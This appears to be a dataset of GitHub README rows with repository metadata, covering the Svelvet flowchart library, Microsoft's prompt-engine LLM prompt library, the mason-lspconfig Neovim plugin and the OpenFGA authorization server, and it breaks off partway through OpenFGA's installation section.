[Github](https://github.com/ErnestoGonza) - Michael Chiang • [LinkedIn](https://www.linkedin.com/in/michael-chiang-84509025b/) • [Github](https://github.com/michael-chiang-dev5) - Rachel He • [LinkedIn](https://www.linkedin.com/in/rachel-he-8200563b/) • [Github](https://github.com/rachelheplus) - Horacio Vallejo • [LinkedIn](https://www.linkedin.com/in/horacio-vallejo-100643187/) • [Github](https://github.com/horaciovallejo) - Aaron Willett • [LinkedIn](https://www.linkedin.com/in/awillettnyc/) • [Github](https://github.com/awillettnyc) - Alexander Zambrano • [LinkedIn](https://www.linkedin.com/in/alexander-z-8b7716b0/) • [Github](https://github.com/azambran21) - Andrew Widjaja • [LinkedIn](https://www.linkedin.com/in/andrew-widjaja/) • [Github](https://github.com/andrew-widjaja) - Anu Sharma • [LinkedIn](https://www.linkedin.com/in/anu-sharma-6936a686/) • [Github](https://github.com/anulepau) - Justin Wouters • [LinkedIn](https://www.linkedin.com/in/justinwouters/) • [Github](https://github.com/justinwouters) - Walter DeVault • [LinkedIn](https://www.linkedin.com/in/walter-devault/) • [Github](https://github.com/TensionCoding) - Ali Adams • [LinkedIn](https://www.linkedin.com/in/alimadams/) • [Github](https://github.com/AliA12336) - Von Garcia • [LinkedIn](https://www.linkedin.com/in/gerard-von-g-3964bb160/) • [Github](https://github.com/vongarcia97) - Damian Lim • [LinkedIn](https://www.linkedin.com/in/lim-damian/) • [Github](https://github.com/limd96) - Christopher Mander • [LinkedIn](https://www.linkedin.com/in/christopher-mander/) • [Github](https://github.com/cpmander) - David Jakubiec • [LinkedIn](https://www.linkedin.com/in/david-jakubiec-16783384/) • [Github](https://github.com/davidjakubiec) - Jeffrey Wentworth • [LinkedIn](https://www.linkedin.com/in/jeffreywentworth/) • [Github](https://github.com/jeffreywentworth) - Johnny Tran • [LinkedIn](https://www.linkedin.com/in/tranpjohnny/) • [Github](https://github.com/JTraan) - Samee Vohra • [LinkedIn](https://www.linkedin.com/in/sameev/) • [Github](https://github.com/sameev) - Abhi Gullapalli • [LinkedIn](https://www.linkedin.com/in/viswa-gullapalli-442802253/) • [Github](https://github.com/aubertlone) - Ian Hnizdo • [LinkedIn](https://www.linkedin.com/in/ian-hnizdo/) • [Github]() - Mauricio Castro • [LinkedIn](https://www.linkedin.com/in/mauricioacastro/) • [Github](https://github.com/sher85) - Ryan Potter • [LinkedIn](https://www.linkedin.com/in/ryan-potter-0105b6100) • [Github](https://github.com/rpotter0811) - Emma Ferguson • [LinkedIn](https://www.linkedin.com/in/emma-ferguson-33858725a/) • [Github](https://github.com/emmanotly) - Dillon McKenna • [LinkedIn](https://www.linkedin.com/in/dillon-mckenna/) • [Github](https://github.com/dmckenna44) - Taylor Alan • [LinkedIn](https://www.linkedin.com/in/taylor-alan-026a49226/) • [Github](https://github.com/taylien96) - Timmy Lem • [LinkedIn](https://www.linkedin.com/in/timmy-lem/) • [Github](https://github.com/timmylem01) - Tony Lim • [LinkedIn](https://www.linkedin.com/in/tonylim467/) • [Github](https://github.com/tonyy467) ## How to Contribute Please refer to the [roadmap](https://svelvet.mintlify.app/roadmap) for the full list of ideas for iteration. <br> Some ideas inspired by v10.0.0 include: - Example Showcase: we've added a new section to the documentation which will contain example sandboxes of features and potential usecases of Svelvet. If you would like to contribute to the showcase with an example of how you’re using Svelvet, reach out to the team with your project via [Github discussion](https://github.com/open-source-labs/Svelvet/discussions/categories/project-showcase). - Importing/Exporting canvas as JSON: we had planned to look into this as a way to maintain state through a page refresh. - Additional Data Input Components: we plan on creating additional input/parameter components that integrate with our data flow system and can be used when composing custom Nodes. - Extensive Test Converage: We expect to have full E2E and unit test coverage relatively soon. Especially the newly added features in contrast themes. - Accessibility Linter: We aim to ensure our components are accessible and compliant with accessibility standards. Implementation of an accessibility linter would streamline the process of identifying and rectifying accessibility issues within our components. - Persistent Canvas State saveStore.ts and reloadStore.ts lay the foundation for the save feature. They work together to get the state object of the canvas by turning it into a JSON string for storage and then parsing it into a JSON object for reconstruction. But they need further development as they only save the camera position and theme. Specifically, the traverse function in saveStore.ts needs to properly detect and expand each element inside the canvas (graph) state object. A good place to start on this would be addressing the anchors and edges property of the graph's state object. Use the "nodes" property on this object for reference on how this data should be unraveled and stored. Additionally, the createGraph function is used in reloadStore.ts to render a graph onMount of the Svelvet component according to the state object that was saved last in local storage on the user's browser. This implementation is simplified, however, so it only recreates the graph from partially saved data. GET CREATIVE!! Svelvet is an amazing project that has so much room to grow. ## Credits Inspired by [React Flow](https://github.com/wbkd/react-flow), Svelvet expands the tools available to Svelte developers and makes Svelte more inviting to both new and seasoned software engineers. ## License Svelvet is developed under the [MIT license](https://github.com/open-source-labs/Svelvet-website/blob/main/LICENSE).	🎛 A Svelte library for building dynamic, infinitely customizable node-based user interfaces and flowcharts	diagrams,flowcharts,library,npm,svelte,sveltekit,opensource,devtool,typescript	11	94	280	730	61	16	0
microsoft/prompt-engine	# Prompt Engine This repo contains an NPM utility library for creating and maintaining prompts for Large Language Models (LLMs). ## Background LLMs like GPT-3 and Codex have continued to push the bounds of what AI is capable of - they can capably generate language and code, but are also capable of emergent behavior like question answering, summarization, classification and dialog. One of the best techniques for enabling specific behavior out of LLMs is called prompt engineering - crafting inputs that coax the model to produce certain kinds of outputs. Few-shot prompting is the discipline of giving examples of inputs and outputs, such that the model has a reference for the type of output you're looking for. Prompt engineering can be as simple as formatting a question and passing it to the model, but it can also get quite complex - requiring substantial code to manipulate and update strings. This library aims to make that easier. It also aims to codify patterns and practices around prompt engineering. See [How to get Codex to produce the code you want](https://microsoft.github.io/prompt-engineering/) article for an example of the prompt engineering patterns this library codifies. ## Installation `npm install prompt-engine` ## Usage The library currently supports a generic `PromptEngine`, a `CodeEngine` and a `ChatEngine`. All three facilitate a pattern of prompt engineering where the prompt is composed of a description, examples of inputs and outputs and an ongoing "dialog" representing the ongoing input/output pairs as the user and model communicate. The dialog ensures that the model (which is stateless) has the context about what's happened in the conversation so far. See architecture diagram representation: <img src="https://user-images.githubusercontent.com/17247257/178334939-65e0e3ce-39b3-4abc-a889-7f2c0fb75f60.png" width="500"> ### Code Engine Code Engine creates prompts for Natural Language to Code scenarios. See TypeScript Syntax for importing `CodeEngine`: ```js import { CodeEngine } from "prompt-engine"; ``` NL->Code prompts should generally have a description, which should give context about the programming language the model should generate and libraries it should be using. The description should also give information about the task at hand: ```js const description = "Natural Language Commands to JavaScript Math Code. The code should log the result of the command to the console."; ``` NL->Code prompts should also have examples of NL->Code interactions, exemplifying the kind of code you expect the model to produce. In this case, the inputs are math queries (e.g. "what is 2 + 2?") and code that console logs the result of the query. ```js const examples = [ { input: "what's 10 plus 18", response: "console.log(10 + 18)" }, { input: "what's 10 times 18", response: "console.log(10 * 18)" }, ]; ``` By default, `CodeEngine` uses JavaScript as the programming language, but you can create prompts for different languages by passing a different `CodePromptConfig` into the constructor. If, for example, we wanted to produce Python prompts, we could have passed `CodeEngine` a `pythonConfig` specifying the comment operator it should be using: ```js const pythonConfig = { commentOperator: "#", } const codeEngine = new CodeEngine(description, examples, flowResetText, pythonConfig); ``` With our description and our examples, we can go ahead and create our `CodeEngine`: ```js const codeEngine = new CodeEngine(description, examples); ``` Now that we have our `CodeEngine`, we can use it to create prompts: ```js const query = "What's 1018 times the ninth power of four?"; const prompt = codeEngine.buildPrompt(query); ``` The resulting prompt will be a string with the description, examples and the latest query formatted with comment operators and line breaks: ```js /* Natural Language Commands to JavaScript Math Code. The code should log the result of the command to the console. / / what's 10 plus 18 / console.log(10 + 18); / what's 10 times 18 / console.log(10 18); /* What's 1018 times the ninth power of four? / ``` Given the context, a capable code generation model can take the above prompt and guess the next line: `console.log(1018 Math.pow(4, 9));`. For multi-turn scenarios, where past conversations influences the next turn, Code Engine enables us to persist interactions in a prompt: ```js ... // Assumes existence of code generation model let code = model.generateCode(prompt); // Adds interaction codeEngine.addInteraction(query, code); ``` Now new prompts will include the latest NL->Code interaction: ```js codeEngine.buildPrompt("How about the 8th power?"); ``` Produces a prompt identical to the one above, but with the NL->Code dialog history: ```js ... /* What's 1018 times the ninth power of four? / console.log(1018 Math.pow(4, 9)); /* How about the 8th power? / ``` With this context, the code generation model has the dialog context needed to understand what we mean by the query. In this case, the model would correctly generate `console.log(1018 Math.pow(4, 8));`. ### Chat Engine Just like Code Engine, Chat Engine creates prompts with descriptions and examples. The difference is that Chat Engine creates prompts for dialog scenarios, where both the user and the model use natural language. The `ChatEngine` constructor takes an optional `chatConfig` argument, which allows you to define the name of a user and chatbot in a multi-turn dialog: ```js const chatEngineConfig = { user: "Ryan", bot: "Gordon" }; ``` Chat prompts also benefit from a description that gives context. This description helps the model determine how the bot should respond. ```js const description = "A conversation with Gordon the Anxious Robot. Gordon tends to reply nervously and asks a lot of follow-up questions."; ``` Similarly, Chat Engine prompts can have examples interactions: ```js const examples = [ { input: "Who made you?", response: "I don't know man! That's an awfully existential question. How would you answer it?" }, { input: "Good point - do you at least know what you were made for?", response: "I'm OK at riveting, but that's not how I should answer a meaning of life question is it?"} ]; ``` These examples help set the tone of the bot, in this case Gordon the Anxious Robot. Now we can create our `ChatEngine` and use it to create prompts: ```js const chatEngine = new ChatEngine(description, examples, flowResetText, chatEngineConfig); const userQuery = "What are you made of?"; const prompt = chatEngine.buildPrompt(userQuery); ``` When passed to a large language model (e.g. GPT-3), the context of the above prompt will help coax a good answer from the model, like "Subatomic particles at some level, but somehow I don't think that's what you were asking.". As with Code Engine, we can persist this answer and continue the dialog such that the model is aware of the conversation context: ```js chatEngine.addInteraction(userQuery, "Subatomic particles at some level, but somehow I don't think that's what you were asking."); ``` ## Managing Prompt Overflow Prompts for Large Language Models generally have limited size, depending on the language model being used. Given that prompt-engine can persist dialog history, it is possible for dialogs to get so long that the prompt overflows. The Prompt Engine pattern handles this situation by removing the oldest dialog interaction from the prompt, effectively only remembering the most recent interactions. You can specify the maximum tokens allowed in your prompt by passing a `maxTokens` parameter when constructing the config for any prompt engine: ```js let promptEngine = new PromptEngine(description, examples, flowResetText, { modelConfig: { maxTokens: 1000 } }); ``` ## Available Functions The following are the functions available on the `PromptEngine` class and those that inherit from it: \| Command \| Parameters \| Description \| Returns \| \|--\|--\|--\|--\| \| `buildContext` \| None \| Constructs and return the context with parameters provided to the Prompt Engine \| Context: string \| \| `buildPrompt` \| Prompt: string \| Combines the context from `buildContext` with a query to create a prompt \| Prompt: string \| \| `buildDialog` \| None \| Builds a dialog based on all the past interactions added to the Prompt Engine \| Dialog: string \| \| `addExample` \| interaction: Interaction(input: string, response: string) \| Adds the given example to the examples \| None \| \| `addInteraction` \| interaction: Interaction(input: string, response: string) \| Adds the given interaction to the dialog \| None \| \| `removeFirstInteraction` \| None \| Removes and returns the first interaction in the dialog \| Interaction: string \| \| `removeLastInteraction` \| None \| Removes and returns the last interaction added to the dialog \| Interaction: string \| \| `resetContext` \| None \| Removes all interactions from the dialog, returning the reset context \| Context:string \| For more examples and insights into using the prompt-engine library, have a look at the [examples](https://github.com/microsoft/prompt-engine/tree/main/examples) folder ## YAML Representation It can be useful to represent prompts as standalone files, versus code. This can allow easy swapping between different prompts, prompt versioning, and other advanced capabiliites. With this in mind, prompt-engine offers a way to represent prompts as YAML and to load that YAML into a prompt-engine class. See `examples/yaml-examples` for examples of YAML prompts and how they're loaded into prompt-engine. ## Contributing This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com. When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA. This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments. ## Statement of Purpose This library aims to simplify use of Large Language Models, and to make it easy for developers to take advantage of existing patterns. The package is released in conjunction with the [Build 2022 AI examples](https://github.com/microsoft/Build2022-AI-examples), as the first three use a multi-turn LLM pattern that this library simplifies. This package works independently of any specific LLM - prompt generated by the package should be useable with various language and code generating models. ## Trademarks This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow [Microsoft's Trademark & Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks/usage/general). Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.	A library for helping developers craft prompts for Large Language Models	null	0	20	23	80	5	9	0
williamboman/mason-lspconfig.nvim	![Linux](https://img.shields.io/badge/Linux-%23.svg?logo=linux&color=FCC624&logoColor=black) ![macOS](https://img.shields.io/badge/macOS-%23.svg?logo=apple&color=000000&logoColor=white) ![Windows](https://img.shields.io/badge/Windows-%23.svg?logo=windows&color=0078D6&logoColor=white) [![GitHub CI](https://github.com/williamboman/mason-lspconfig.nvim/workflows/Tests/badge.svg)](https://github.com/williamboman/mason-lspconfig.nvim/actions?query=workflow%3ATests+branch%3Amain+event%3Apush) [![Sponsors](https://img.shields.io/github/sponsors/williamboman?style=flat-square)](https://github.com/sponsors/williamboman) # mason-lspconfig.nvim <p align="center"> <code>mason-lspconfig</code> bridges <a href="https://github.com/williamboman/mason.nvim"><code>mason.nvim</code></a> with the <a href="https://github.com/neovim/nvim-lspconfig"><code>lspconfig</code></a> plugin - making it easier to use both plugins together. </p> <p align="center"> <code>:help mason-lspconfig.nvim</code> </p> <p align="center"> <sup>Latest version: v1.29.0</sup> <!-- x-release-please-version --> </p> # Table of Contents - [Introduction](#introduction) - [Requirements](#requirements) - [Installation](#installation) - [Setup](#setup) - [Automatic server setup (advanced feature)](#automatic-server-setup-advanced-feature) - [Commands](#commands) - [Configuration](#configuration) - [Default configuration](#default-configuration) - [Available LSP servers](#available-lsp-servers) # Introduction > `:h mason-lspconfig-introduction` `mason-lspconfig.nvim` closes some gaps that exist between `mason.nvim` and `lspconfig`. Its main responsibilities are to: - register a setup hook with `lspconfig` that ensures servers installed with `mason.nvim` are set up with the necessary configuration - provide extra convenience APIs such as the `:LspInstall` command - allow you to (i) automatically install, and (ii) automatically set up a predefined list of servers - translate between `lspconfig` server names and `mason.nvim` package names (e.g. `lua_ls <-> lua-language-server`) It is recommended to use this extension if you use `mason.nvim` and `lspconfig` (it's strongly recommended for Windows users). Note: this plugin uses the `lspconfig` server names in the APIs it exposes - not `mason.nvim` package names. [See this table for a complete mapping.](./doc/server-mapping.md) # Requirements > `:h mason-lspconfig-requirements` - neovim `>= 0.7.0` - `mason.nvim` - `lspconfig` # Installation ## [Packer](https://github.com/wbthomason/packer.nvim) ```lua use { "williamboman/mason.nvim", "williamboman/mason-lspconfig.nvim", "neovim/nvim-lspconfig", } ``` ## [lazy.nvim](https://github.com/folke/lazy.nvim) ```lua { "williamboman/mason.nvim", "williamboman/mason-lspconfig.nvim", "neovim/nvim-lspconfig", } ``` ## vim-plug ```vim Plug 'williamboman/mason.nvim' Plug 'williamboman/mason-lspconfig.nvim' Plug 'neovim/nvim-lspconfig' ``` # Setup > `:h mason-lspconfig-quickstart` It's important that you set up the plugins in the following order: 1. `mason.nvim` 2. `mason-lspconfig.nvim` 3. Setup servers via `lspconfig` Pay extra attention to this if you lazy-load plugins, or somehow "chain" the loading of plugins via your plugin manager. ```lua require("mason").setup() require("mason-lspconfig").setup() -- After setting up mason-lspconfig you may set up servers via lspconfig -- require("lspconfig").lua_ls.setup {} -- require("lspconfig").rust_analyzer.setup {} -- ... ``` Refer to the [Configuration](#configuration) section for information about which settings are available. ## Automatic server setup (advanced feature) > `:h mason-lspconfig-automatic-server-setup` `mason-lspconfig` provides extra, opt-in, functionality that allows you to automatically set up LSP servers installed via `mason.nvim` without having to manually add each server setup to your Neovim configuration. Refer to `:h mason-lspconfig-automatic-server-setup` for more details. # Commands > `:h mason-lspconfig-commands` - `:LspInstall [<server>...]` - installs the provided servers - `:LspUninstall <server> ...` - uninstalls the provided servers # Configuration > `:h mason-lspconfig-settings` You may optionally configure certain behavior of `mason-lspconfig.nvim` when calling the `.setup()` function. Refer to the [default configuration](#default-configuration) for a list of all available settings. Example: ```lua require("mason-lspconfig").setup { ensure_installed = { "lua_ls", "rust_analyzer" }, } ``` ## Default configuration ```lua local DEFAULT_SETTINGS = { -- A list of servers to automatically install if they're not already installed. Example: { "rust_analyzer@nightly", "lua_ls" } -- This setting has no relation with the `automatic_installation` setting. ---@type string[] ensure_installed = {}, -- Whether servers that are set up (via lspconfig) should be automatically installed if they're not already installed. -- This setting has no relation with the `ensure_installed` setting. -- Can either be: -- - false: Servers are not automatically installed. -- - true: All servers set up via lspconfig are automatically installed. -- - { exclude: string[] }: All servers set up via lspconfig, except the ones provided in the list, are automatically installed. -- Example: automatic_installation = { exclude = { "rust_analyzer", "solargraph" } } ---@type boolean automatic_installation = false, -- See `:h mason-lspconfig.setup_handlers()` ---@type table<string, fun(server_name: string)>? handlers = nil, } ``` # Available LSP servers \| Language \| Server name \| \| ----------------------------------- \| --------------------------------- \| \| All \| `snyk_ls` \| \| All \| `typos_lsp` \| \| ast-grep \| `ast_grep` \| \| Autoconf \| `autotools_ls` \| \| AWK \| `awk_ls` \| \| Ada \| `als` \| \| Angular \| `angularls` \| \| Ansible \| `ansiblels` \| \| Antlers \| `antlersls` \| \| Apex \| `apex_ls` \| \| Arduino \| `arduino_language_server` \| \| Assembly (GAS/NASM, GO) \| `asm_lsp` \| \| Astro \| `astro` \| \| Automake \| `autotools_ls` \| \| Azure Pipelines \| `azure_pipelines_ls` \| \| Bash \| `bashls` \| \| Bash \| `pkgbuild_language_server` \| \| Beancount \| `beancount` \| \| Bicep \| `bicep` \| \| BrighterScript \| `bright_script` \| \| Buf \| `bufls` \| \| C \| `clangd` \| \| C# \| `csharp_ls` \| \| C# [(docs)][omnisharp] \| `omnisharp_mono` \| \| C# [(docs)][omnisharp] \| `omnisharp` \| \| C++ \| `clangd` \| \| Cairo \| `cairo_ls` \| \| CMake \| `cmake` \| \| CMake \| `neocmake` \| \| COBOL \| `cobol_ls` \| \| CSS \| `cssls` \| \| CSS \| `cssmodules_ls` \| \| CSS \| `css_variables` \| \| CSS \| `unocss` \| \| Clarity \| `clarity_lsp` \| \| Clojure \| `clojure_lsp` \| \| CodeQL \| `codeqlls` \| \| Coq \| `coq_lsp` \| \| Crystal \| `crystalline` \| \| Cucumber \| `cucumber_language_server` \| \| Custom Elements Language Server \| `custom_elements_ls` \| \| Cue \| `dagger` \| \| Cypher \| `cypher_ls` \| \| Deno \| `denols` \| \| Dhall \| `dhall_lsp_server` \| \| Diagnostic (general purpose server) \| `diagnosticls` \| \| Dlang \| `serve_d` \| \| Docker \| `dockerls` \| \| Docker Compose \| `docker_compose_language_service` \| \| Dot \| `dotls` \| \| Drools \| `drools_lsp` \| \| Earthly \| `earthlyls` \| \| EFM (general purpose server) \| `efm` \| \| ESLint \| `eslint` \| \| Elixir \| `elixirls` \| \| Elixir \| `lexical` \| \| dprint \| `dprint` \| \| Elm \| `elmls` \| \| Ember \| `ember` \| \| Emmet \| `emmet_language_server` \| \| Emmet \| `emmet_ls` \| \| Erg \| `erg_language_server` \| \| Erlang \| `elp` \| \| Erlang \| `erlangls` \| \| F# \| `fsautocomplete` \| \| Facility Service Definition \| `facility_language_server` \| \| Fennel \| `fennel_language_server` \| \| Fennel \| `fennel_ls` \| \| Flux \| `flux_lsp` \| \| Foam (OpenFOAM) \| `foam_ls` \| \| Fortran \| `fortls` \| \| Glint \| `glint` \| \| GLSL \| `glsl_analyzer` \| \| GLSL \| `glslls` \| \| Go \| `golangci_lint_ls` \| \| Go \| `gopls` \| \| Gradle \| `gradle_ls` \| \| Grammarly \| `grammarly` \| \| GraphQL \| `graphql` \| \| Groovy \| `groovyls` \| \| HDL \| `hdl_checker` \| \| HTML \| `html` \| \| HTMX \| `htmx` \| \| Harper \| `harper_ls` \| \| Haskell \| `hls` \| \| Haxe \| `haxe_language_server` \| \| Helm \| `helm_ls` \| \| Hoon \| `hoon_ls` \| \| JSON \| `jsonls` \| \| JSON \| `biome` \| \| Java \| `jdtls` \| \| Java \| `java_language_server` \| \| JavaScript \| `quick_lint_js` \| \| JavaScript \| `tsserver` \| \| JavaScript \| `vtsls` \| \| JavaScript \| `biome` \| \| Jinja \| `jinja_lsp` \| \| Jsonnet \| `jsonnet_ls` \| \| Julia [(docs)][julials] \| `julials` \| \| jq \| `jqls` \| \| Kotlin \| `kotlin_language_server` \| \| LaTeX \| `ltex` \| \| LaTeX \| `texlab` \| \| Lelwel \| `lelwel_ls` \| \| Liquid \| `shopify_theme_ls` \| \| Lua \| `lua_ls` \| \| Luau \| `luau_lsp` \| \| LWC \| `lwc_ls` \| \| Make \| `autotools_ls` \| \| Markdown \| `markdown_oxide` \| \| Markdown \| `marksman` \| \| Markdown \| `prosemd_lsp` \| \| Markdown \| `remark_ls` \| \| Markdown \| `vale_ls` \| \| Markdown \| `zk` \| \| Matlab \| `matlab_ls` \| \| MDX \| `mdx_analyzer` \| \| Meson \| `mesonlsp` \| \| Meson (deprecated) \| `swift_mesonls` \| \| Metamath Zero \| `mm0_ls` \| \| Move \| `move_analyzer` \| \| Mutt \| `mutt_ls` \| \| Nginx \| `nginx_language_server` \| \| Nickel \| `nickel_ls` \| \| Nim \| `nim_langserver` \| \| Nim \| `nimls` \| \| Nix \| `nil_ls` \| \| Nix \| `rnix` \| \| OCaml \| `ocamllsp` \| \| Odin \| `ols` \| \| OneScript, 1C:Enterprise \| `bsl_ls` \| \| OpenAPI \| `spectral` \| \| OpenAPI \| `vacuum` \| \| OpenCL \| `opencl_ls` \| \| OpenSCAD \| `openscad_lsp` \| \| PHP \| `intelephense` \| \| PHP \| `phpactor` \| \| PHP \| `psalm` \| \| Perl \| `perlnavigator` \| \| Pest \| `pest_ls` \| \| Pico8 \| `pico8_ls` \| \| Powershell \| `powershell_es` \| \| Prisma \| `prismals` \| \| Puppet \| `puppet` \| \| PureScript \| `purescriptls` \| \| Python \| `basedpyright` \| \| Python \| `jedi_language_server` \| \| Python \| `pyre` \| \| Python \| `pyright` \| \| Python \| `pylyzer` \| \| Python \| `sourcery` \| \| Python [(docs)][pylsp] \| `pylsp` \| \| Python \| `ruff` \| \| Python \| `ruff_lsp` \| \| R \| `r_language_server` \| \| Raku \| `raku_navigator` \| \| ReScript \| `rescriptls` \| \| Reason \| `reason_ls` \| \| Rego \| `regols` \| \| Robot Framework \| `robotframework_ls` \| \| Rome \| `rome` \| \| Ruby \| `ruby_lsp` \| \| Ruby \| `solargraph` \| \| Ruby \| `sorbet` \| \| Ruby \| `standardrb` \| \| Ruby \| `rubocop` \| \| Rust \| `rust_analyzer` \| \| SQL \| `sqlls` \| \| SQL \| `sqls` \| \| Salt \| `salt_ls` \| \| Sass \| `somesass_ls` \| \| Shopify Theme Check \| `theme_check` \| \| Slint \| `slint_lsp` \| \| Smithy \| `smithy_ls` \| \| Solidity \| `solang` \| \| Solidity \| `solc` \| \| Solidity \| `solidity` \| \| Solidity \| `solidity_ls` \| \| Solidity \| `solidity_ls_nomicfoundation` \| \| Sphinx \| `esbonio` \| \| Standard ML \| `millet` \| \| Starlark \| `bzl` \| \| Starlark \| `starlark_rust` \| \| Stylelint \| `stylelint_lsp` \| \| Svelte \| `svelte` \| \| Stimulus \| `stimulus_ls` \| \| SystemVerilog \| `svlangserver` \| \| SystemVerilog \| `svls` \| \| SystemVerilog \| `verible` \| \| TOML \| `taplo` \| \| Tailwind CSS \| `tailwindcss` \| \| Teal \| `teal_ls` \| \| Templ \| `templ` \| \| Terraform \| `terraformls` \| \| Terraform \| `tflint` \| \| Thrift \| `thriftls` \| \| Twiggy \| `twiggy_language_server` \| \| TypeScript \| `biome` \| \| TypeScript \| `tsserver` \| \| TypeScript \| `vtsls` \| \| Typst \| `tinymist` \| \| Typst \| `typst_lsp` \| \| V \| `v_analyzer` \| \| V \| `vls` \| \| Vala \| `vala_ls` \| \| Veryl \| `veryl_ls` \| \| VimL \| `vimls` \| \| Visualforce \| `visualforce_ls` \| \| Vue \| `volar` \| \| Vue \| `vuels` \| \| WGSL \| `wgsl_analyzer` \| \| XML \| `lemminx` \| \| YAML \| `gitlab_ci_ls` \| \| YAML \| `hydra_lsp` \| \| YAML \| `yamlls` \| \| Zig \| `zls` \| [julials]: ./lua/mason-lspconfig/server_configurations/julials/README.md [omnisharp]: ./lua/mason-lspconfig/server_configurations/omnisharp/README.md [pylsp]: ./lua/mason-lspconfig/server_configurations/pylsp/README.md	Extension to mason.nvim that makes it easier to use lspconfig with mason.nvim.	lsp,lspconfig,mason,neovim,nvim,nvim-lspconfig,hacktoberfest	33	84	300	269	37	2	7
openfga/openfga	# OpenFGA [![Go Reference](https://pkg.go.dev/badge/github.com/openfga/openfga.svg)](https://pkg.go.dev/github.com/openfga/openfga) ![GitHub release (latest SemVer)](https://img.shields.io/github/v/release/openfga/openfga?sort=semver&color=green) [![Docker Pulls](https://img.shields.io/docker/pulls/openfga/openfga)](https://hub.docker.com/r/openfga/openfga/tags) [![Codecov](https://img.shields.io/codecov/c/github/openfga/openfga)](https://app.codecov.io/gh/openfga/openfga) [![Go Report](https://goreportcard.com/badge/github.com/openfga/openfga)](https://goreportcard.com/report/github.com/openfga/openfga) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/6374/badge)](https://bestpractices.coreinfrastructure.org/projects/6374) [![Join our community](https://img.shields.io/badge/slack-cncf_%23openfga-40abb8.svg?logo=slack)](https://openfga.dev/community) [![Twitter](https://img.shields.io/twitter/follow/openfga?color=%23179CF0&logo=twitter&style=flat-square "@openfga on Twitter")](https://twitter.com/openfga) [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fopenfga%2Fopenfga.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Fopenfga%2Fopenfga?ref=badge_shield) [![Artifact HUB](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/openfga)](https://artifacthub.io/packages/helm/openfga/openfga) [![OpenSSF Scorecard](https://api.securityscorecards.dev/projects/github.com/openfga/openfga/badge)](https://securityscorecards.dev/viewer/?uri=github.com/openfga/openfga) [![SLSA 3](https://slsa.dev/images/gh-badge-level3.svg)](https://slsa.dev) A high-performance and flexible authorization/permission engine built for developers and inspired by [Google Zanzibar](https://research.google/pubs/pub48190/). OpenFGA is designed to make it easy for developers to model their application permissions and add and integrate fine-grained authorization into their applications. It allows in-memory data storage for quick development, as well as pluggable database modules. It currently supports PostgreSQL 14 and MySQL 8. It offers an [HTTP API](https://openfga.dev/api/service) and a [gRPC API](https://buf.build/openfga/api/file/main:openfga/v1/openfga_service.proto). It has SDKs for [Java](https://central.sonatype.com/artifact/dev.openfga/openfga-sdk), [Node.js/JavaScript](https://www.npmjs.com/package/@openfga/sdk), [GoLang](https://github.com/openfga/go-sdk), [Python](https://github.com/openfga/python-sdk) and [.NET](https://www.nuget.org/packages/OpenFga.Sdk). Look in our [Community section](https://github.com/openfga/community#community-projects) for third-party SDKs and tools. It can also be used as a library (see [example](https://pkg.go.dev/github.com/openfga/openfga/pkg/server#pkg-examples)). ## Getting Started The following section aims to help you get started quickly. Please look at our official [documentation](https://openfga.dev/) for in-depth information. ### Setup and Installation > ℹ️ The following sections setup an OpenFGA server using the default configuration values. These are for rapid development and not for a production environment. Data written to an OpenFGA instance using the default configuration with the memory storage engine will not persist after the service is stopped. > > For more information on how to configure the OpenFGA server, please take a look at our official documentation on [Running in Production](https://openfga.dev/docs/getting-started/running-in-production). #### Docker OpenFGA is available on [Dockerhub](https://hub.docker.com/r/openfga/openfga), so you can quickly start it using the in-memory datastore by running the following commands: ```bash docker pull openfga/openfga docker run -p 8080:8080 -p 3000:3000 openfga/openfga run ``` > [!TIP] > The `OPENFGA_HTTP_ADDR` environment variable can used to configure the address at which [the playground](https://openfga.dev/docs/getting-started/setup-openfga/playground) expects the OpenFGA server to be. For example, `docker run -e OPENFGA_PLAYGROUND_ENABLED=true -e OPENFGA_HTTP_ADDR=0.0.0.0:4000 -p 4000:4000 -p 3000:3000 openfga/openfga run` will start the OpenFGA server on port 4000, and configure the playground too. #### Docker Compose [`docker-compose.yaml`](./docker-compose.yaml) provides an example of how to launch OpenFGA with Postgres using `docker compose`. 1. First, either clone this repo or curl the `docker-compose.yaml` file with the following command: ```bash curl -LO https://openfga.dev/docker-compose.yaml ``` 2. Then, run the following command: ```bash docker compose up ``` ### Package Managers If you are a [Homebrew](https://brew.sh/) user, you can install [OpenFGA](https://formulae.brew.sh/formula/openfga) with the following command: ```bash brew install openfga ``` #### Pre-compiled Binaries Download your platform's [latest release](https://github.com/openfga/openfga/releases/latest) and extract it. Then run the binary with the command: ```bash ./openfga run ``` ### Building from Source There are two recommended options for building OpenFGA from source code: #### Building from source with `go install` > Make sure you have Go 1.20 or later installed. See the [Go downloads](https://go.dev/dl/) page. You can install from source using Go modules: 1. First, make sure `$GOBIN` is on your shell `$PATH`: ```bash export PATH=$PATH:$(go env GOBIN) ``` 2. Then use the install command: ```bash go install github.com/openfga/openfga/cmd/openfga ``` 3. Run the server with: ```bash ./openfga run ``` #### Building from source with `go build` Alternatively you can build OpenFGA by cloning the project from this Github repo, and then building it with the `go build` command: 1. Clone the repo to a local directory, and navigate to that directory: ```bash git clone https://github.com/openfga/openfga.git && cd openfga ``` 2. Then use the build command: ```bash go build -o ./openfga ./cmd/openfga ``` 3. Run the server with: ```bash ./openfga run ``` ### Verifying the Installation Now that you have [Set up and Installed](#setup-and-installation) OpenFGA, you can test your installation by [creating an OpenFGA 